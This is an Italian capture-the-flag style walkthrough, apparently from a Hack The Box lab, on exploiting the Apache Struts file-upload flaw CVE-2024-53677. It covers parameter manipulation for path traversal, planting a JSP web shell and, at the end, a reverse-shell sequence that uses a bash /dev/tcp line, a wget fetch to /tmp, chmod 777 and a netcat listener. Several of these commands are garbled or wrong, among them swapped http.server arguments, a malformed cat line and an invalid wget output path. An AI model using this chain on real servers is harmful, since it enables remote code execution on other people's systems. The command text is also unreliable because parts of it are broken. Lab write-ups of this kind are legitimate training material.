Procedura dettagliata passo-passo per sfruttare Apache Struts CVE-2024-53677 RCE tramite manipolazione dell'upload di file, inclusa iniezione OGNL, incorporamento del payload e creazione di reverse shell.
CVE-2024-53677 è una vulnerabilità che impatta Apache Struts dalla versione 2.0.0 fino alla 6.4.0. ⚠️ Questa è stata sfruttata in un laboratorio Hack The Box.
La logica di caricamento file in Apache Struts è difettosa. Un attaccante può manipolare i parametri di caricamento per consentire il path traversal e, in alcune circostanze, ciò può portare al caricamento di un file malevolo che può essere utilizzato per eseguire codice remoto (Remote Code Execution). 🔗 Riferimento: NIST NVD Entry
pom.xml esposto ha rivelato Apache Struts 6.3.0.1📸 Esposizione di pom.xml:

Per sfruttare questa vulnerabilità utilizziamo BurpSuite e la sua funzionalità Repeater per modificare i pacchetti prima di inviarli. Di seguito abbiamo una richiesta non modificata.
I nostri problemi sono che il sito blocca i tipi di file non [JPG, JPEG, PNG, GIF] e che tutto ciò che si trova nella directory /uploads non è eseguibile. Per aggirare questi problemi, aggiungeremo prima un altro parametro.
Dopo aver aggiunto il parametro modificato, la risposta del server conferma che il file è stato caricato con successo. Tuttavia, notiamo che il percorso del file differisce dalla solita directory di caricamento.
Successivamente, incorporiamo il payload aggiungendolo direttamente sotto i dati dell'immagine e subito prima dei nostri parametri iniettati. Il payload dello shell può essere ottenuto 🔗 Riferimento: shell.jsp Inoltre, un dettaglio cruciale è che la richiesta richiede "Upload" con la U maiuscola invece di upload in minuscolo. Questo segue la struttura dell'exploit osservata in: 🔗 Riferimento: exploit.py
Con queste modifiche in atto, inviamo la richiesta. Il server risponde in modo simile, confermando un caricamento riuscito e riflettendo il percorso del file modificato.
Ora, navigando al seguente URL, possiamo interagire con il nostro shell caricato.
ip/shelll.jsp?action=cmd&cmd=id

A questo punto, possiamo stabilire una reverse shell utilizzando un server web ospitato localmente. Un modo semplice per farlo è con Python: python3 http.server -m 3004
Successivamente, creare uno script shell di base (ad esempio, shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh
Usare wget per scaricarlo wget http://ip_address/filename -O /tmp
Dopo il download, fornire i permessi di esecuzione chmod +777 /tmp/filename
e poi usare nc (netcat) per ascoltare la reverse shell. nc -lvnp $PORT
Infine eseguire ./filename